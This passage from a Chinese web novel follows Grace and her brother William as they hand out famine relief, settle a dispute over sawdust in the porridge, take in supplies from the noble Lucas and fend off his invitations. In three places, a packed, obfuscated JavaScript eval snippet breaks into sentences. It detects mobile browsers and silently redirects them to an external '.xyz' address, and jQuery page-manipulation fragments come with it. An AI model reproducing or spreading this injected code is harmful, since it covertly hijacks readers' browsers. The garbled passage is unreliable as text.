大约过了两个时辰，威廉的呼吸变得平稳，脸上的潮红也渐渐褪去。 格蕾丝再次摸了摸他的额头，热度确实退了不少。她轻轻舒了一口气，紧绷的神经终于放松下来。侍卫们见状，也都露出了放松的神情。 天色渐暗，风雪依旧。 格蕾丝让侍卫们轮流守夜，自己则守在威廉身边，时刻关注着他的状况。 夜深人静时，威廉忽然动了动，嘴里含糊地说了句什么。格蕾丝立刻俯身靠近，听到他微弱地喊着自己的名字。 “我在这里。” 她轻声回应，握住了他的手。 威廉的眼睛微微睁开，目光涣散了一瞬，最终聚焦在格蕾丝脸上。他嘴角微微上扬，似乎想说什么，但最终只是轻轻捏了捏她的手，又闭上了眼睛。 格蕾丝知道，最危险的时刻已经过去了。 她静静地坐在那里，听着屋外呼啸的风声，心里却感到前所未有的平静。 明天，风雪会停，威廉会好起来，他们会继续前行。 而现在，她只需要守在这里，等待黎明的到来。 22. 第二十二章 他们说，爱是苦涩的…… ——《莎乐美》 第二日，风雪果然停了，阳光撒撒落落地出来了，映照得整个村庄都洁白一片，几乎看不出昨天黑云肆虐的样子。 威廉睁开双眼时，房间内已经铺满了阳光。他尝试地眨了眨眼睛，适应着房间内明亮到有些刺眼的光线。 身下是微微粗糙扎人的触感，明明之前还在和农户们对话，一睁开眼就躺在了熟悉的屋子里。一时之间，威廉也有些恍惚。 他再试着坐起身，发现身体比昨天轻松多了。 高热已经退去，虽然四肢还有些乏力，但昨日那种身体上的沉重感已经消失。 威廉伸手摸了摸额头，干燥温暖，大概是已经恢复了正常的温度。他深深地吸了一口气，肺部好像也不再疼痛，只有轻微的痒意提醒着他刚刚经历的那场高温。 “格蕾丝？”他轻声呼唤。 房间里没有回应，就连平日里跟在他身边的护卫们好像也出门了。 威廉环顾了一下四周，灶台里的火还在燃烧，但明显添了新柴；摆放在床边的瓦罐里装着温水，一旁的碗里还有看不明白成分的药；他的外套整齐地堆叠在枕侧，靴子也擦干净了放在床边。一切都表明有人不久前还在这里照顾他。 于是威廉穿上了外套，移开木门。 门外传来轻微的响声，他抬眼一看，发现是侍卫。 “托马斯，格蕾丝去哪了呢？还有其他侍卫。”威廉问道。 托马斯正在喂马匹吃草，闻言转过身，脸上顿时露出了惊喜的表情：“威廉少爷，您能下床了！感谢上帝，您的病总算好转了。” “格蕾丝小姐一早就出门了，说是去分发救济粮。她嘱咐我在这守着您。” 威廉皱了皱眉：“她一个人去的？” “是的，少爷。格蕾丝小姐说您需要休息，她还嘱咐了您得先吃点东西，熬制的粥在灶上热着。”托马斯说着就要走进屋子为威廉端来粥食。 威廉抬手制止了他的行动，摇摇头说：“不，我得去找她。灾民们情绪不稳定，她一个人恐怕会为危险。” “但您的病，还有灶台上的粥……”托马斯欲言又止。 “病已经好多了，粥就等回来再吃吧。就这样决定吧。”边说着，威廉就接过了托马斯手中的马草，轻轻抚摸着马匹喂完最后一点草料，一个侧身就上了马。 “走吧，好姑娘。我知道你是最美丽的。”威廉拍了拍身下的马，催促着它向前奔去。 刺眼的阳光让他眯起眼睛，雪后的空气清新冷冽，他深吸一口气，肺部没有丝毫不适。屋子前的积雪已经被清理出一条小路，马蹄印的痕迹清晰可见，格蕾丝应该是被侍卫带着骑马去的，等回来或许得把马术加入她的课程之中。 转过最后一个弯，救济点的景象映入眼帘。 临时搭建的棚子前排着长长的队伍，人们裹着破旧的棉衣，脸色苍白，大都是一副疲惫的样子，连日的山雪已经给这里的民众造成了极大的影响，若不能安顿下来，恐怕这个冬日死去的民众不会是少数。 在分发食物的桌子后面，威廉几乎一眼就认出了格蕾丝的身影。她仍然穿着那身朴素粗糙的麻制衣服，正低头舀着锅里的粥。 看格蕾丝没出什么事情，威廉刚要松一口气，却突然注意到人群里出现了骚动。 一个男人正端着碗大声说着什么，周围的人开始聚集过去。威廉听不清内容，但能感觉到气氛骤然紧张起来。他踢了踢马腹，加快了速度。 “这是什么？锯末？你们给我们吃锯末？”男人的怒吼声大得几里外都听得见。 威廉的心沉了下去。 锯末，什么锯末。威廉的心思一转，立马明白了是格蕾丝在粥中掺杂了锯末。但随即，他的心中又升起了新的疑惑。 粮食不是还够支撑到几日后吗，为什么格蕾丝往赈济的粮食中掺杂锯末呢。总不会为了节省那点点粮草。 不好，恐怕是粮草出了问题了。威廉很快地意识到了这一点，于是他催马的动作更急了。 “骗子！你们这些贵族根本没想真心帮助我们！”另一个女人尖叫道。 威廉远远地看到格蕾丝抬起了头，她的脸色还很苍白，前些天的病看上似乎还没好全，但她在民众们的面前并没有退缩。 她放下了勺子，又直起了背脊，嘴唇动了动，似乎在解释什么，但她的声音很快就被人群中愤怒的喊叫声给淹没了。 “滚回去！我们不需要你们的施舍！” “让你们子爵出来！为什么派个女人来糊弄我们？” “这粥连猪都不吃！” 威廉翻身下马，推开人群向前挤去。 格蕾丝就站在那里，像暴风雨中的一叶小舟，被愤怒的浪涛包围却屹立不倒。她没有再辩解，只沉默地承受着指责。 “各位，请冷静！”威廉终于挤到前面，站到了格蕾丝的身边。他提高声音，“我是埃斯特子爵的长子威廉，有什么问题可以跟我说。” 人群安静了一瞬，所有的目光都转向他。 “大人，”最先发难的男人走上前，手里端着那碗粥，“您看看，这就是你们给灾民的食物？里面掺了锯末！我们不是牲畜！” 威廉接过碗，确实看到粥里掺杂着细小的木屑。 他深吸一口气，转向人群：“各位，我知道这很难接受，但请听我解释。” “解释什么？你们贵族仓库里堆满了粮食，却给我们吃这种东西！”一个老妇人哭喊道。 威廉摇摇头：“不，您误会了。暴风雪阻断了道路，我们的存粮也所剩无几。掺入锯末是为了让更多人能分到食物，虽然口感不好，但这是可食用的，不会伤害身体。” “那为什么不直接说？为什么要欺骗我们？”年轻人质问。 威廉有些头疼，其实格蕾丝的决定他也不太能理解，但他不能让格蕾丝承担这个罪名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663958|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这是我的决定。”威廉提高声音，“是我命令在麦子中掺入锯末的。我的妹妹格蕾丝只是执行我的命令，她甚至反对过这个做法。” 人群再次安静下来。威廉看到几张脸上的愤怒变成了困惑。 “我们不是要欺骗大家，”威廉继续道，“而是实在没有足够的粮食。格蕾丝昨天冒着暴风雪去邻镇求援，甚至差点丧命。今天她本该休息，却因为担心大家挨饿，代替生病的我来分发食物。” 说道这里时，威廉的脸上可疑地出现了红晕，他真的不曾说过谎言。不过或许我很有天赋呢，他偷偷地在心中想着。 格蕾丝在他说出这句话时，就有些讶异地抬起头盯着他看，似乎重新将他认识了一遍。 威廉感受着格蕾丝的注视，也有了些紧张，但他没有停下：“若你们要责怪，就请责怪我。但请你们相信，我们在竭尽全力地帮助每一个人度过难关。” 一个抱着孩子的妇女走上前，她的眼睛红肿：“大人，我的孩子已经两天没吃东西了。这粥……真的能吃吗？” 格蕾丝闻言，看都不看这位妇女，直接舀了一勺粥，当着所有人的面喝了下去。 “这下你们能够放心了吧，我和你们吃的是一样的食物。”格蕾丝平淡地说道，并不在意这位妇女的言语。 人群中传来窃窃私语。 那个愤怒的男人低下头，盯着自己的碗看了很久，最终也喝了一口。他皱起脸，但没有吐出来。 “今天已经放晴，路很快就能通了，第一批粮食两天之内就能运到。”威廉向人群承诺道，“在那之前，还请大家再忍耐一下。” 气氛渐渐缓和下来。 有人开始重新排队，虽然脸上仍有不满，但愤怒的情绪已经消退。威廉长舒一口气，转向格蕾丝，发现她正用一种复杂的眼神看着自己。 但格蕾丝并未对于这件事多言什么，反而转入了别的话题：“你的病还没好，不该出来吹风。” “我没事。”威廉咳嗽了两声，又立刻被格蕾丝的目光戳穿了谎言。 他笑道：“好吧，可能还没完全好。但你一个人在这里，我更担心。” 格蕾丝对此又一言不发了，她只偶尔看一眼威廉，确保他确实病情好转，但再接下来的时间里，她只安静地派发粥食，也不太接威廉的话头。 一时之间，威廉又感到了熟悉的头疼了。 他在自己不知道的时候做错了什么事情吗？为什么一觉醒来，他的妹妹都不理会他了。 如果是之前在家里，格蕾丝和玛格丽特打架的事情，那他可能确实做的不对，不该对格蕾丝这么严厉的，但这都过了多久了！他可爱的妹妹不可能还在为这件事情生气吧。 而且妹妹怎么会突然从家中跑了出来，而且一个侍从都没带，只带了一个贴身侍女，这怎么看都很奇怪。 可是格蕾丝现在就像一个蚌壳，怎么才能撬开她的心让她和他说话呢。 23. 第二十三章 嫉妒是爱的表现，但它是扭曲的爱。 ——《伦理学》 还不等威廉想出一个法子，让亲爱的、可爱的格蕾丝妹妹理一理他的时候，他就见着有一列车队从远方的小山丘上缓缓地下来了。 那个车队走得极慢，马吃力地驮着车队前行，车轮吃雪很深，走过的时候，在地上留下了深深的车辙痕迹。 车辆向前绵延着，前车的车辙和后车的车辙相重叠，深深浅浅地凿开了白雪覆盖的地面，露出山丘黑土的本色来。 车队中为首的是一辆颇为气派的四轮马车，车罩呈深红色，车身是亮黑色，对比鲜明的色彩使得这辆车在满地满眼的雪光下显得格外醒目。车沿的四角还挂着精致的铜制小灯，随着车辆的稳步前行而微微晃动着。 这样的马车，即便是在白天，也透露出与灾后浓云惨淡的小村庄格格不入的奢侈气息。 后排紧跟的是几辆双轮马车和几柄粗制的手拉木板车，车中满满当当的，同样吃雪很深。拉车的马每迈一步都伴随着筋肉的颤抖和深重喘息，马鼻子里蒲扇出浓重的白色水汽，后边拉车的奴仆更是如此。 随着车辆的接近，车辆叮叮当当、吱呀吱呀的声音就更清晰了，也让人瞧清了车上之物，是满满当当的粮食，皆用油布遮盖着呢。 威廉看着远道而来的马车隐有欢欣之色，他以为前来的是遵守约定的犹太商人莱文，但很显然，结果让他失望了，或者说是惊讶了。 马车门打开，先跳下来的是一位穿着笔挺深色制服、头发梳理得一丝不苟的中年管家。 他的举止带着一种训练有素的克制优雅。在一下车后，他就迅速地用目光扫过周围衣衫褴褛、面带菜色的灾民，逡巡一轮，并最终将目光停留在了格蕾丝的身上。 管家目光一垂，将手套一摘，迈着精准的步伐来到了格蕾丝的面前，直接无视了站在她身边的威廉，以一种无可挑剔的恭敬态度率先向格蕾丝深深地躬身行礼，用平稳清晰的声音向她传达卢卡斯的回信：“尊敬的格蕾丝小姐，日安。鄙人奉卢卡斯大人之命，押送物资前来，并向您复命。” 格蕾丝的表情依旧是惯常的平静，只是微微颔首，示意他继续说下去。 威廉则被晾在一旁，清晰地感觉到自己像是一个突兀的闯入者，被排除在他们的对话之外。 他不动声色，但内心却掀起了波澜。 卢卡斯？那个母亲交待要结交的伦敦来的新贵？妹妹什么时候和他有了联系？他又因何种原因出手相助？况且这管家对待格蕾丝的态度，恭敬得近乎谦卑，已经远超对待一位普通贵族小姐的礼节了。 管家微微弯下腰身，以表示他诚挚的歉意：“卢卡斯大人深感遗憾，尽管他竭尽全力多方筹措，但在如此短暂的时间内，要筹集到足以维持这众多受灾农户十日所需的粮食，实在力有未逮。暴雪封路，许多仓库无法开启，路途更是艰险难行。大人为此深感不安，特命我向您表达他最诚挚的歉意，并恳求您的谅解。”说完后他微微低头，将姿态放得更低了些。 不待威廉思考卢卡斯的动机，管家的话语让他的心再次沉了下去。 粮食不够？这可不是好消息。虽然管家说得情真意切，理由也看似充分，但他敏锐地察觉到一丝异样。卢卡斯的领地富庶，人脉广泛，在这样危急的时刻，真的连十天的应急粮都凑不齐吗？还是说……他有所保留？ 威廉深深皱起了眉，目光不由自主地转向格蕾丝，想从她脸上找到答案，但格蕾丝只是专注地听着，脸上没有任何多余的表情。 紧接着，管家的话锋一转，语气里带上了些许完成任务的轻松：“不过，关于小姐您特别强调的医生和药品，卢卡斯大人则是不遗余力。他慷慨地将他别庄上两位最得力的家庭医生一并派遣了过来。” 他侧身示意了一下后面一辆马车，那辆马车的车门打开，两位穿着体面、提着沉重医药箱的中年男子正谨慎地观察着环境，“并且随车运送来了相当充足的药品，包括治疗冻伤、风寒和预防疫病的各类药物。大人希望这些能稍稍弥补在粮食上的欠缺，为灾民们解除病痛之苦。” 威廉看着那两位医生和车上卸下的几个大药箱，心中的疑虑稍微被冲淡了一些。 药品和医生确实也是当下急需的，卢卡斯这一点上做得无可指摘，至少解决了一个燃眉之急。 他紧绷的神经稍稍放松，甚至对卢卡斯产生了一丝丝的好感，以为他也是一个体恤民生、主动承担责任的贵族。 然而，管家接下来的话，就像一颗石头掷入了水中，直接打破了这短暂的平静。 眼见着正事交代完了，管家也卸下了脸上严肃的神情。 他露出和煦的笑容，将声音压低了一些，侧着身小声地对格蕾丝道：“另外，卢卡斯大人还特别嘱咐我转告您：关于您们之间的约定，他感到非常高兴您能应允。待此间事了，若天气转好，道路通畅，他热切地期盼着能有机会，邀请您一同骑马出游，领略雪后初晴的风光。” “约定？骑马出游？” 威廉脑中“嗡”的一声，仿佛有什么东西炸开了。他猛地转头看向格蕾丝，眼神里充满了震惊和难以置信。 他可爱的妹妹和卢卡斯之间，在他完全不知情的情况下，不仅有了联系，竟然还有了某种“约定”？ 是什么样的约定，能让卢卡斯如此兴师动众地送来这些物资？又是什么样的关系，能让卢卡斯以如此亲密的口吻邀请她骑马出游？ 威廉感受到一股陌生的、灼热的情绪瞬间堵在胸口，像是被什么沉重的东西狠狠撞击了一下。是愤怒？是忧虑？还是……一种领地受到侵犯的强烈不适？ 他强压下了这种情绪，认定自己的愤懑是可爱的妹妹遭人觊觎的缘故。 他无法理解格蕾丝为何会私下与卢卡斯达成交易，更无法接受那个“骑马出游”的邀请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687298|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所暗示的亲昵。 他的妹妹，那个在他羽翼下成长、需要他教导和保护的格蕾丝，什么时候变得如此独立，甚至……超脱了他的认知和掌控？ 或许他从未清晰地认识过她呢？ 可格蕾丝滚烫的眼泪，她的脆弱，她的坚韧，她的可爱，她的顽皮，她的古灵精怪…… 一种莫名的焦躁和隐隐的恼怒在他心底滋生、蔓延。 他下意识地将这种强烈的情绪归结为兄长对妹妹的过度保护欲，以及对那些可能觊觎妹妹的“外人”的本能排斥。 至于心底更深层、更模糊的那一丝刺痛感，被他迅速而坚决地压了下去，不敢深究。 就在这时，一个熟悉的身影从后面一辆双轮马车上敏捷地跳了下来，是费利克斯。 费利克斯的脸上带着长途跋涉的疲惫，但更多的是一种完成任务后的兴奋和激动。他甚至有些得意忘形了，根本就没注意到旁边脸色变幻莫测的威廉，径直大步流星地走到格蕾丝面前，声音洪亮地复命： “格蕾丝小姐！幸不辱命！卢卡斯大人的车队终于到了！路上真是险象环生啊，好几处积雪都快没到马肚子了，要不是卢卡斯大人派来的向导经验丰富，还有这些强健的马匹，我们可能真要困在半路了！” 费利克斯语气里充满了对卢卡斯的感激和对格蕾丝的敬佩，“小姐，您真是太有办法了！我出发时心里真是一点底都没有，没想到您居然真的说动了卢卡斯大人！这下好了，医生和药都来了，大家有救了！” 他搓着手，脸上洋溢着的是纯粹的喜悦，仿佛格蕾丝才是他效忠的核心。 而费利克斯这近乎邀功般的汇报，更像一瓢滚油浇在了威廉心头那簇无名火上。 他忠诚的侍卫长，居然还没看明白卢卡斯对格蕾丝的觊觎，还帮助他来讨好妹妹，真是愚钝不可及。 迟早有一天要把这笨拙的侍卫长给换掉，妹妹都要被人家拐跑了，他还在帮别人数钱！威廉心中愤愤地想。 他此时已经完全忽略了，其实卢卡斯作为一个联姻对象，是个非常不错的选择。他的另外两个妹妹都迫不及待地想要嫁给这位新式贵族，更不要说出身低于她们俩的格蕾丝了。且若卢卡斯和格蕾丝真的能够联姻，其间给埃斯特家族又会带来多么大的利益呢。 而格蕾丝像是终于察觉到了身边兄长那过于沉默而紧绷的存在感。 她微微侧过头，目光平静地扫过威廉写满复杂情绪的脸庞。 她的眼神依旧清澈，但里面似乎多了一层威廉读不懂的东西，像是审视，又像是一种无声的宣告。 她没有回应费利克斯的兴奋，也没有对威廉解释什么，只是淡淡地对管家和费利克斯吩咐道：“辛苦了。医生和药品立刻安排，找一处干净暖和的屋子作为临时的诊疗所。” “费利克斯，你协助管家先生，组织人手把物资卸下来，药品优先，粮食单独存放清点。” 24. 第二十四章 女孩子是由砂糖、香辛料和一切美好东西组成的。 ——英国童谣 随着管家和费利克斯的行动，其他的侍卫们也都参与进了货物的拆卸。 雪地里一时之间只剩下了威廉和格蕾丝。 分发粥食的工作也因为车队的到达暂时停下了，灾民们的目光都黏在了车队上满载的粮食之上，自发地排成队伍帮着侍卫们一起装卸粮食。 整个现场，安静地无所事事的看上去也只剩下了威廉和格蕾丝。 威廉长久地注视着格蕾丝的侧脸，忽然之间意识到他的妹妹并非他所以为的那么脆弱，她的身上，或者说是格蕾丝的身上，始终有着顽强的生命力和毅力，它不同于大多数贵族女性的骄矜贵重。 她是与众不同的，是能够在冰天雪地之中开放的雪滴花（白色铃铛状小花，常破雪而出，象征希望）。 “格蕾丝，”威廉还是忍不住开了口。 “你和卢卡斯……究竟是怎么回事？那个‘约定’又是什么？”他无法再装作若无其事，疑问就像鱼刺一样梗在他的喉咙里不上不下。 格蕾丝闻言缓缓转过了身，正面迎上威廉深沉的碧绿色的目光。 “仍是一潭美丽的湖水呢。”格蕾丝心想着。 她的眼神坦荡，却又深不见底。 她没有立刻回答，只是那样静静地看着他。 阳光照在格蕾丝略显苍白的脸上，映得她的眼眸如同夏日波光粼粼的湖面，清透见底。 我又该如何回复他的问话呢…… “威廉，”她终于开口，声音依旧平淡无波，却像一颗投入冰湖的石子，在威廉心中激起更大的涟漪。 “你想要我什么样的回答呢。” “你又是出于什么样的理由想要我的回答呢。” 说完，格蕾丝清楚地看到威廉那双翠绿地双眼里泛起了一丝困惑，像是小石子掉落到了深深的碧潭之中。 格蕾丝静静地等了等，等到了威廉的回复。 “我亲爱的妹妹，我始终对你牵挂，如果你是对之前和玛格丽特打架的事情对我感到生气，那么我诚恳地向你道歉，我的妹妹。” “但我不希望我的妹妹被他人蒙骗，我出于关心和担忧想要了解你的交友境况。” 啊，果然如此吗。格蕾丝心想着。 “那么卢卡斯……”格蕾丝顿了顿，似乎在斟酌词句，“他提供帮助，自然有他的条件。而我，做出了我认为必要的选择。威廉哥哥，仅此而已。” 格蕾丝巧妙地把她对威廉的称呼换了回来，不再直呼他的名字。 而威廉还在等待着格蕾丝的下文，并未意识到他妹妹对他细小的称呼变化。 可等了半天，等到粮食装卸都要结束了，他都未等到格蕾丝对这一“约定”的进一步解释。 格蕾丝没有解释那个“约定”，也没有说明“条件”的具体内容，更没有提及她为何独自离家出现在这里。 威廉看着她回答完这句话，就自然而然地转身走向正在卸货的人群，指挥着医生安置药箱。 她离开的背影挺直而疏离，而随着她的离开，一股深深的挫败感和更加强烈的不安攫住了威廉的身心。 妹妹的秘密像这雪后的迷雾，看似消散，实则更加厚重地笼罩下来。 而那个远在千里之外的卢卡斯，像一个巨大的阴影，悄无声息地笼罩在了他的心头。 威廉看着管家恭敬地跟在格蕾丝身边请示细节，看着费利克斯卖力地搬运着卢卡斯送来的物资，再看着灾民们因为医生和药品的到来而眼中燃起的希望…… 这一切本该让人感到欣慰，但威廉却只觉得胸口发闷。 他觉得此时的自己就像个局外人，完全就是一个被蒙在鼓里的傻瓜。 妹妹的翅膀硬了，飞出了他的视线，甚至可能飞向了一个他无法掌控、也让他本能地感到危险的方向，那个方向的另一端，连接着卢卡斯。 雪地的反光有些刺眼。 威廉眯起眼，看着格蕾丝忙碌而冷静的身影，第一次如此清晰地意识到，他或许从未真正了解过自己的这个妹妹。 “不，”威廉摇了摇头，“妹妹还是妹妹，不论妹妹有何种变化，保护她永远都是兄长的职责。” 威廉顺着格蕾丝的身影走了过去，帮助侍卫们一起装卸这批物资。 之后好几天的粮食已经充足了，草药和医生也已经有了着落，未来似乎已经朝着希望的方向发展去了。 …… 而当马车上最后一袋小麦被两名瘦削的流民扛下，重重地堆入临时搭建的、四面漏风的粮棚角落时。 卢卡斯府上的管家也就预备着回去了，但主人家的询问，格蕾丝小姐还未作答，于是他就将目光重新投向正俯身清点册子的格蕾丝小姐。 格蕾丝正站在尚未融化的积雪里，雪地之下是黏糊糊的土层，因为呆的太久，她灰扑扑的麻制衣料下摆已经沾上了不少的泥浆，不过她好像未曾发现，仍在专心致志地核对账目。 威廉则在她的身旁，低声吩咐着侍卫们重新加固那看起来随时要散架的棚顶。 “格蕾丝小姐，威廉少爷。粮食已悉数清点入库，介于府上事务繁多，我这就准备动身回城了。”管家恭敬地道。 格蕾丝这才从埋头清点的状态中退了出来，将手上的登记册子随手合上，递给身旁一个帮着清点的侍卫。接着小步来到了管家的面前，对着他行了礼道谢。 管家侧身让过格蕾丝的行礼，带着笑容微微欠身道：“临行前，卢卡斯大人托我再次向您表达诚挚的邀请。关于他此前提议的冬日围猎，不知小姐是否已有决断？大人特意嘱咐，日期可由您来定夺，一切都以您的意愿为准。” 格蕾丝下意识地侧过头，视线投向几步之外的威廉。 威廉闻言停下了对侍卫们的吩咐，眉头微蹙，薄唇抿成一条刚硬的直线，眼神沉沉地落在管家的身上。 威廉忙的几乎忘了这茬了，卢卡斯还对他的妹妹“虎视眈眈”呢，这绝不能答应。他有些生气地想。 格蕾丝兴趣盎然地看了会儿威廉隐隐警惕的表情。 很可爱呢，像只黑色碧眼的小猫，不过是为着我这个冒牌的妹妹的身份的，她心想。 格蕾丝于是转回了目光，微笑着对管家，漾开一个温和而疏离的笑容：“承蒙卢卡斯大人如此盛情邀请，我深感荣幸。只是……” 她稍作停顿，“说来惭愧，我既不通骑术，更不善弓猎。若就这样贸然参与，恐怕非但不能助兴，反倒扫了大人的兴致，令大人失望而归。这份遗憾，还请您务必替我转达。” 她的话语柔和克制，委婉地请托了卢卡斯的邀约。 且看看威廉哥哥会如何表现吧，格蕾丝颇有兴趣地想，危机解决了，生活就变得乏味起来了呢。 管家罗杰斯像是早已料到这番托辞，脸上的笑容丝毫未变，反而加深了几分，语气愈发殷勤：“小姐您过谦了！卢卡斯大人特意叮嘱过，只要您肯赏光莅临，那便是府邸上下莫大的光彩。至于骑术……” 他将身子向前微微倾斜，声音压低，带着一种推心置腹的意味，“大人极其乐意亲自为您启蒙指点。大人骑术精湛，性情又温和耐心，定能让小姐在极短的时间内尽得其妙。” 闻言，格蕾丝露出了一丝温煦的微笑，似乎马上就要被卢卡斯家的管家给劝服了，急得威廉不顾礼仪一个跨步直接挡在了格蕾丝与管家之间。 “罗杰斯管家！” 威廉不满地看着罗杰斯管家，并且再向前迈了一大步，不算瘦削的身形彻底地挡住了格蕾丝的身影，用物理手段隔离了两人之间的对话。 “舍妹的骑术教导，自有我这个兄长负责。卢卡斯大人公务繁忙，就不必为这等小事分心了。” 他的目光锐利地锁住管家，“况且，一位未婚的小姐，由非亲属的成年男子单独教导骑术，无论初衷如何美好，恐怕都极易引来不必要的闲言碎语，有损清誉。这份‘好意’，还请卢卡斯大人收回。舍妹的名誉，容不得半分闪失。” 最后几个字，他说得斩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709461|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钉截铁，毫无转圜余地。 太可爱了，格蕾丝在威廉的身后偷偷地弯了弯嘴角，逗一逗自己的兄长真是太有趣了。 不过这件事情，确实得去做呢，怕是随不了威廉的意了。 寒风卷着粮棚角落的碎草屑，打着旋儿掠过格蕾丝的裙角。 她的目光在剑拔弩张的兄长和管家身上停留了会儿，转而看向这片临时搭建的救济点。 一个个衣衫褴褛的流民在寒风中瑟缩，那是一张张被饥饿刻蚀得麻木的脸，只有在他们望向粮棚方向时，才能短暂地燃起一丝微弱的光芒。这样的流民，善良是他们的一面，丑恶也是他们的一面。 是饥饿让他们抛弃了善良，为着活着，丑态百出。 饿肚子没东西吃的感受，被打趴在地上和老鼠争食的感受，格蕾丝都体会过，也为此挣扎而丑态百出过。 跪地求饶、打架斗殴、乞讨食物，只要能活下来，她都愿意去做。她单纯地觉得饿死实在太痛苦了，能不死的话，还是活着吧。 直到遇到了蓓丽，蓓丽长得非常美丽，美丽的人总是会受到偏爱，分到的食物也是最多的。 格蕾丝一直想不明白蓓丽为什么会和她做朋友，但当时的她挣扎于生死之间，只有蓓丽总是偷偷地藏下食物，再分给她吃。 格蕾丝的目光透过几个瘦得只剩骨架的孩子似乎看到了从前的生活。这几个孩子正一齐挤在泥泞的地上，试图用冻得发紫的小手去拢一堆无法点燃的湿柴。 想起了从前，格蕾丝的心，像被一只冰冷的手攥紧了。 她倏地收回目光，脸上忽然绽开一个与方才截然不同的笑容，那笑容明快，带着一种近乎天真的热忱，瞬间打破了威廉和管家之间的低压氛围。 “威廉哥哥说得对，管家先生，”她清脆地说，巧妙地避开了教导骑术这个敏感点，转而抛出了一个新的想法，“不过，卢卡斯大人盛情相邀，我们若是一味推拒，也显得过于不近人情了。我倒是想到一个有趣的主意。” 她故意停顿了一下，看到管家眼中重新燃起希望的火苗，威廉的眉头却拧得更紧。 “冬日游猎，自然是难得的盛事。只是几个人在林苑里追逐猎物，久了未免单调。” 格蕾丝的声音带着一种令人难以拒绝的感染力，“何不将这份乐趣扩大呢？不如邀请附近所有有头有脸的庄园主和他们的家眷一同参与？人多才热闹，也更能彰显卢卡斯大人慷慨好客的风范。” 她的目光坦荡地迎向管家罗杰斯，仿佛这真是一个纯粹为了增添乐趣的提议。 威廉只觉得额角的血管突突地跳。他的妹妹这是要做什么！ 扩大游猎？邀请整个郡的贵族？这无异于将格蕾丝置于更多人的注视之下，其中不乏卢卡斯之流。 他太了解那些无聊贵族聚会上流窜的、关于年轻女子婚配可能性的目光和议论。 他张开嘴，一个强硬的“不”字几乎就要冲口而出。 然而，就在此刻，格蕾丝轻盈地转过身。 她像只归巢的小鸟般，极其自然地、带着一种不容拒绝的亲昵，挽住了威廉的手臂。 她微微仰起脸，冬日微光落在她清澈的眼眸里，眼里好似盛满了恳切与信赖。 “威廉哥哥，”她的声音放得很轻很柔，带着一丝丝的撒娇，“你也会觉得这样安排更有意思的，对吧？大家聚在一起，总比几个人冷冷清清的好。你一向最懂这些了。” 她轻轻晃了晃他的手臂，那温软的触碰和全然依赖的眼神，像一阵猝不及防的暖风，瞬间吹散了威廉心头凝聚的警惕。 威廉的身体几不可察地僵了一下。 他看着妹妹近在咫尺的脸庞，那上面写满了期待。 他脑中那些关于风险、关于名声的想法，在这个瞬间变得苍白无力。 一种属于兄长的、近乎本能的保护欲混合着某种难以言喻的柔软，攫住了他。 算了，他想，只要自己寸步不离地守着她，那些别有用心的人又能如何？有他在，总能护她周全。 25. 第二十五章 生活就像一盒巧克力，你永远不知道下一颗是什么味道。 ——《阿甘正传》 “嗯……” 威廉无奈地看着格蕾丝，最终答应了她的请求。 他实在没办法在那双眼睛的注视下说出拒绝的话来。 “但是——”话锋一转，威廉提出了要求，“我得与我的妹妹格蕾丝一同前去。” 管家罗杰斯犹豫了片刻，随即露出恭敬的笑容，他深深地弓下腰，“是的，威廉少爷。” 紧接着，罗杰斯的语速飞快，仿佛生怕兄妹俩反悔一般地把话一口气说完：“格蕾丝小姐的这提议非常绝妙！卢卡斯大人听闻，必定欣喜万分！那么！我这就快马加鞭回去禀报大人，着手准备广发邀请函！大人定会办成一场本季最令人难忘的盛会！” 说完后，他匆匆行了个礼，便转身疾步走向他那辆装饰着卢卡斯家族纹章的考究马车，车轮碾过冻硬的泥地，飞快地消失在通往城里的道路尽头。 随着管家的离去，救济点的喧嚣声重新涌入了耳中，流民们依旧在为分到手的一点口粮而忙碌着。 威廉看着管家马车离开后四下扬起的尘土，刚才被妹妹晃晕的脑袋渐渐冷却了下来，一丝疑虑悄然爬上了心头。 他转头看向格蕾丝，她已松开了挽着他的手臂，正平静地注视着粮棚里那堆并不丰裕的粮食，脸上方才那种天真浪漫的神情已然消失不见，取而代之的是沉静的思索。 “格蕾丝，”威廉的声音带着探究，“你特意提出扩大邀请范围，应该不只是为了热闹吧？” 和格蕾丝相处越久，他就越加了解自己的妹妹。 格蕾丝的目光依旧落在那堆麻袋上，仿佛在估算它们的体积能支撑多少张饥饿的嘴多久。 她没有立刻回答，只是抬起手，指向远处那群瑟瑟发抖、眼巴巴望着粮棚方向的孩子和老人。 